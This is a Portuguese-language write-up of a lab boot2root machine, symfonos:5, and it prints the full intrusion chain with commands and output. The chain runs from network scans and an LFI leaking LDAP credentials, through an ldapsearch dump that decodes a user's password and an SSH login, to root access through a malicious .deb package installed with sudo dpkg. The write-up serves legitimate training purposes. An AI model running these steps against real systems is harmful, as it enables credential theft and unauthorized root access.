Estou aqui novamente para apresentar mais uma boot2root VM para vocês. Dessa vez lhes trago symfonos: 5.
Essa máquina foi lançada em 07 de Janeiro de 2020 e o download pode ser realizado em SYMFONOS:5.
Caso tenham perdido o writeup da Symfonos:4, é só acessar AQUI!
Sem mais delongas, vamos ao que interessa!
Como sempre começamos com o host discovery:
$netdiscover -i eth1 -r 192.168.56.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 20 Captured ARP Req/Rep packets, from 3 hosts. Total size: 1200 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname -----------------------------------------------------------------------------192.168.56.1 0a:00:27:00:00:13 1 60 Unknown vendor192.168.56.100 08:00:27:96:57:d3 14 840 PCS Systemtechnik GmbH192.168.56.106 08:00:27:e0:84:aa 5 300 PCS Systemtechnik GmbH
Agora que já identificamos nosso alvo, podemos descobrir quais são os serviços existentes nesse host:
$nmap -sS -sV -sC -Pn -p- 192.168.56.106 Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 20:00 EST Nmap scan report for 192.168.56.106 Host is up (0.00014s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0) | ssh-hostkey: | 2048 16:70:13:77:22:f9:68:78:40:0d:21:76:c1:50:54:23 (RSA) | 256 a8:06:23:d0:93:18:7d:7a:6b:05:77:8d:8b:c9:ec:02 (ECDSA) |_ 256 52:c0:83:18:f4:c7:38:65:5a:ce:97:66:f3:75:68:4c (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X 636/tcp open ldapssl? MAC Address: 08:00:27:E0:84:AA (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 73.94 seconds
Temos os serviços LDAP, LDAPS, SSH e HTTP disponíveis no alvo. Com isso, vamos começar nossa análise pela aplicação web.
Como vocês podem ver acima, a página contém apenas uma imagem. Logo, o jeito será realizar um brute para identificar algum diretório ou página escondida.
$ ./dirsearch.py -u 192.168.56.106 -e html,php,htm,log,txt,json -f -t 20 -x 400,403 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt _|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: html, php, htm, log, txt, json | HTTP method: get | Threads: 20 | Wordlist size: 1543646 Error Log: /root/tools/dirsearch/logs/errors-20-02-27_20-11-25.log Target: 192.168.56.106 [20:11:25] Starting: [20:11:25] 200 - 207B - /index.html [20:11:26] 302 - 962B - /home.php -> admin.php [20:11:30] 200 - 2KB - /admin.php [20:11:30] 200 - 2KB - /static/ [20:11:53] 302 - 0B - /logout.php -> admin.php [20:12:49] 200 - 165B - /portraits.php Task Completed
Identificamos a página admin.php, que trata-se de um portal de autenticação.
Além disso, como pode ser visto no output do dirsearch, a página home.php faz redirect para admin.php.
O interessante é que analisando esse redirect, identificamos via burp que o fonte da página home.php possuí um link que realiza um redirect para portraits.php.
E esse redirect é vulnerável a LFI.
Com isso, conseguimos acesso ao código fonte da página admin.php.
O qual foi possível obter uma credencial do ldap. Vide imagem acima.
Como sabemos que esse host possuí a porta TCP-389 aberta, podemos utilizar a credencial encontrada para realizar a conexão ldap.
root@kali:~# ldapsearch -h 192.168.56.106 -p 389 -b "dc=symfonos,dc=local" -w 'qMDdyZh3cT6eeAWD' -D "cn=admin,dc=symfonos,dc=local" # extended LDIF # # LDAPv3 # base <dc=symfonos,dc=local> with scope subtree # filter: (objectclass=*) # requesting: ALL # # symfonos.local dn: dc=symfonos,dc=local objectClass: top objectClass: dcObject objectClass: organization o: symfonos dc: symfonos # admin, symfonos.local dn: cn=admin,dc=symfonos,dc=local objectClass: simpleSecurityObject objectClass: organizationalRole cn: admin description: LDAP administrator userPassword:: e1NTSEF9VVdZeHZ1aEEwYldzamZyMmJodHhRYmFwcjllU2dLVm0= # zeus, symfonos.local dn: uid=zeus,dc=symfonos,dc=local uid: zeus cn: zeus sn: 3 objectClass: top objectClass: posixAccount objectClass: inetOrgPerson loginShell: /bin/bash homeDirectory: /home/zeus uidNumber: 14583102 gidNumber: 14564100 userPassword:: Y2V0a0tmNHdDdUhDOUZFVA== mail: zeus@symfonos.local gecos: Zeus User # search result search: 2 result: 0 Success # numResponses: 4 # numEntries: 3 root@kali:~# echo 'Y2V0a0tmNHdDdUhDOUZFVA==' | base64 -d │ cetkKf4wCuHC9FET root@kali:~#
Perfeito! Conseguimos identificar um outro usuário (Zeus) que aparentemente tem acesso a máquina. Pois o mesmo possui shell e diretório home.
Agora basta validar se também é possível logar com esse usuário no host via ssh.
$ ssh zeus@192.168.56.106 The authenticity of host '192.168.56.106 (192.168.56.106)' can't be established. ECDSA key fingerprint is SHA256:0LrOVGfXWfj1Vtdo1krp85ZDlnsb3DDJFap9cOF5WoA. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.106' (ECDSA) to the list of known hosts. zeus@192.168.56.106's password: Linux symfonos5 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Jan 6 18:27:11 2020 from 192.168.65.128 zeus@symfonos5:~$
Hora de buscar uma maneira de escalar privilégio.
Verificamos que o usuário Zeus consegue executar o comando dpkg com privilégio de root vi sudo.
zeus@symfonos5:~$ sudo -l Matching Defaults entries for zeus on symfonos5: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User zeus may run the following commands on symfonos5: (root) NOPASSWD: /usr/bin/dpkg zeus@symfonos5:~$
Com isso precisamos apenas criar um arquivo deb malicioso.
root@kali:~# TF=$(mktemp -d) root@kali:~# echo 'exec /bin/sh' > $TF/x.sh root@kali:~# fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF Requiring backports/ is deprecated. Require just the needed backports instead Rails backports are deprecated. Debian packaging tools generally labels all files in /etc as config files, as mandated by policy, so fpm defaults to this behavior for deb packages. You can disable this default behavior with --deb-no-default-config-files flag {:level=>:warn} Created package {:path=>"x_1.0_all.deb"} root@kali:~# cd $TF root@kali:/tmp/tmp.PpgJlQhbmd# ls -l total 4 -rw-r--r-- 1 root root 13 Mar 4 20:38 x.sh root@kali:/tmp/tmp.PpgJlQhbmd#
Transferi-lo via scp.
root@kali:/tmp# scp x_1.0_all.deb zeus@192.168.56.106:/tmp zeus@192.168.56.106's password: Permission denied, please try again. zeus@192.168.56.106's password: x_1.0_all.deb 100% 1106 1.4MB/s 00:00 root@kali:/tmp#
e executá-lo via sudo.
zeus@symfonos5:/tmp$ sudo /usr/bin/dpkg -i x_1.0_all.deb (Reading database ... 53057 files and directories currently installed.) Preparing to unpack x_1.0_all.deb ... # whoami root #
# cat proof.txt Congrats on rooting symfonos:5! ZEUS * . dZZZZZ, . * dZZZZ ZZ, * . ,AZZZZZZZZZZZ `ZZ,_ * ,ZZZZZZV' ZZZZ `Z,`\ ,ZZZ ZZ . ZZZZ `V * ZZZZV' ZZ ZZZZ \_ . . V l . ZZ ZZZZZZ . l \ ZZ, ZZZ ZZZZZZ, . / ZZ l ZZZ ZZZ `Z, ZZ l ZZZ Z Z, `Z, * . ZZ ZZZ Z Z, `l Z ZZ V `Z \ V ZZC l V Z l V ZR l . \ \ l ZA \ C C \ K / / K A \ \ | / / / \ \\|/ / / __________________________________\|/_________________________ Contact me via Twitter @zayotic to give feedback! #
Referência: